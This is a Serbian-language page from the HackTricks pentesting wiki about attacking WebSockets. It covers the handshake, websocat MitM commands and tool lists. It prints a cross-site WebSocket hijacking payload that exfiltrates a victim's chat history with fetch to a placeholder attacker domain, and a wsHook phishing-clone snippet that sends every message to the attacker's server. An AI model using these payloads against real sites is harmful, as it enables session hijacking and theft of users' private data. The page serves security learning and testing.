WebSocket napadi

Reading time: 8 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Šta su WebSocketi

WebSocket veze se uspostavljaju kroz inicijalni HTTP handshake i dizajnirane su da budu dugoročne, omogućavajući dvosmerno slanje poruka u bilo kojem trenutku bez potrebe za transakcionim sistemom. Ovo čini WebSocket-e posebno korisnim za aplikacije koje zahtevaju nisku latenciju ili komunikaciju iniciranu sa servera, kao što su strimovi uživo finansijskih podataka.

Uspostavljanje WebSocket veza

Detaljno objašnjenje o uspostavljanju WebSocket veza može se pronaći ovde. Ukratko, WebSocket veze se obično iniciraju putem JavaScript-a na klijentskoj strani kao što je prikazano u nastavku:

javascript
var ws = new WebSocket("wss://normal-website.com/ws")

Protokol wss označava WebSocket vezu obezbeđenu sa TLS, dok ws označava neobezbeđenu vezu.

Tokom uspostavljanja veze, vrši se razmena poruka između pregledača i servera putem HTTP-a. Proces razmene uključuje slanje zahteva od strane pregledača i odgovor servera, kao što je prikazano u sledećim primerima:

Pregledač šalje zahtev za razmenu poruka:

javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Odgovor serverovog rukovanja:

javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Veza ostaje otvorena za razmenu poruka u oba pravca nakon uspostavljanja.

Ključne tačke WebSocket rukovanja:

  • Connection i Upgrade zaglavlja signaliziraju inicijaciju WebSocket rukovanja.
  • Sec-WebSocket-Version zaglavlje označava željenu verziju WebSocket protokola, obično 13.
  • Base64-enkodirana nasumična vrednost se šalje u Sec-WebSocket-Key zaglavlju, osiguravajući da je svako rukovanje jedinstveno, što pomaže u sprečavanju problema sa keširanim proxy-ima. Ova vrednost nije za autentifikaciju, već da potvrdi da odgovor nije generisan od strane pogrešno konfigurisanog servera ili keša.
  • Sec-WebSocket-Accept zaglavlje u odgovoru servera je hash Sec-WebSocket-Key, verifikujući nameru servera da otvori WebSocket vezu.

Ove karakteristike osiguravaju da je proces rukovanja siguran i pouzdan, otvarajući put za efikasnu komunikaciju u realnom vremenu.

Linux konzola

Možete koristiti websocat za uspostavljanje sirove veze sa websocket-om.

bash
websocat --insecure wss://10.10.10.10:8000 -v

Ili da kreirate websocat server:

bash
websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket veze

Ako otkrijete da su klijenti povezani na HTTP websocket iz vaše trenutne lokalne mreže, možete pokušati sa ARP Spoofing Attack da izvršite MitM napad između klijenta i servera.
Kada klijent pokuša da se poveže, možete koristiti:

bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeracija

Možete koristiti alat https://github.com/PalindromeLabs/STEWS da automatski otkrijete, identifikujete i pretražujete poznate ranjivosti u websockets.

Websocket Debug alati

  • Burp Suite podržava MitM websockets komunikaciju na vrlo sličan način kao što to radi za regularnu HTTP komunikaciju.
  • socketsleuth Burp Suite ekstenzija će vam omogućiti da bolje upravljate Websocket komunikacijama u Burp-u dobijajući istoriju, postavljajući pravila za presretanje, koristeći pravila za podudaranje i zamenu, koristeći Intruder i AutoRepeater.
  • WSSiP: Skraćeno od "WebSocket/Socket.io Proxy", ovaj alat, napisan u Node.js, pruža korisnički interfejs za hvatanje, presretanje, slanje prilagođenih poruka i pregled svih WebSocket i Socket.IO komunikacija između klijenta i servera.
  • wsrepl je interaktivni websocket REPL dizajniran posebno za penetraciono testiranje. Pruža interfejs za posmatranje dolaznih websocket poruka i slanje novih, sa jednostavnim okvirom za automatizaciju ove komunikacije.
  • https://websocketking.com/ je web za komunikaciju sa drugim webovima koristeći websockets.
  • https://hoppscotch.io/realtime/websocket između ostalih tipova komunikacija/protokola, pruža web za komunikaciju sa drugim webovima koristeći websockets.

Dešifrovanje Websocket

Websocket Lab

U Burp-Suite-Extender-Montoya-Course imate kod za pokretanje web-a koristeći websockets, a u ovom postu možete pronaći objašnjenje.

Preuzimanje WebSocket-a sa drugih sajtova (CSWSH)

Preuzimanje WebSocket-a sa drugih sajtova, takođe poznato kao cross-origin WebSocket hijacking, identifikuje se kao specifičan slučaj Cross-Site Request Forgery (CSRF) koji utiče na WebSocket rukovanja. Ova ranjivost se javlja kada WebSocket rukovanja autentifikuju isključivo putem HTTP kolačića bez CSRF tokena ili sličnih sigurnosnih mera.

Napadači mogu iskoristiti ovo tako što će hostovati malicioznu web stranicu koja pokreće cross-site WebSocket vezu sa ranjivom aplikacijom. Kao rezultat, ova veza se tretira kao deo sesije žrtve sa aplikacijom, iskorišćavajući nedostatak CSRF zaštite u mehanizmu upravljanja sesijama.

Jednostavan Napad

Napomena da kada se uspostavlja websocket veza, kolačić se šalje serveru. Server ga može koristiti da poveže svakog specifičnog korisnika sa njegovom websocket sesijom na osnovu poslatog kolačića.

Zatim, ako na primer websocket server vrati istoriju razgovora korisnika ako se pošalje poruka sa "READY", tada će jednostavan XSS koji uspostavlja vezu (kolačić će biti poslat automatski da autorizuje korisnika žrtvu) slanjem "READY" moći da pribavi istoriju razgovora.

html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

U ovom blog postu https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ napadač je uspeo da izvrši proizvoljni Javascript u poddomeni domena gde je komunikacija putem web socket-a bila u toku. Pošto je to bila poddomena, kolačić je bio poslat, a pošto Websocket nije pravilno proveravao Origin, bilo je moguće komunicirati s njom i ukrasti tokene iz nje.

Stealing data from user

Kopirajte web aplikaciju koju želite da imitirate (npr. .html fajlove) i unutar skripte gde se odvija komunikacija putem websocket-a dodajte ovaj kod:

javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Sada preuzmite wsHook.js datoteku sa https://github.com/skepticfx/wshook i sačuvajte je unutar fascikle sa web datotekama.
Izlaganjem web aplikacije i omogućavanjem korisniku da se poveže na nju, moći ćete da ukradete poslate i primljene poruke putem websocket-a:

javascript
sudo python3 -m http.server 80

Utrke uslova

Utrke uslova u WebSocket-ima su takođe prisutne, proverite ove informacije da biste saznali više.

Druge ranjivosti

Pošto su Web Sockets mehanizam za slanje podataka na serversku i klijentsku stranu, u zavisnosti od toga kako server i klijent obrađuju informacije, Web Sockets se mogu koristiti za iskorišćavanje nekoliko drugih ranjivosti kao što su XSS, SQLi ili bilo koja druga uobičajena web ranjivost koristeći unos korisnika iz websocket-a.

WebSocket Smuggling

Ova ranjivost bi mogla omogućiti da zaobiđete ograničenja obrnute proxy usluge tako što će ih naterati da veruju da je websocket komunikacija uspostavljena (čak i ako to nije tačno). Ovo bi moglo omogućiti napadaču da pristupi skrivenim krajnjim tačkama. Za više informacija proverite sledeću stranicu:

Upgrade Header Smuggling

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks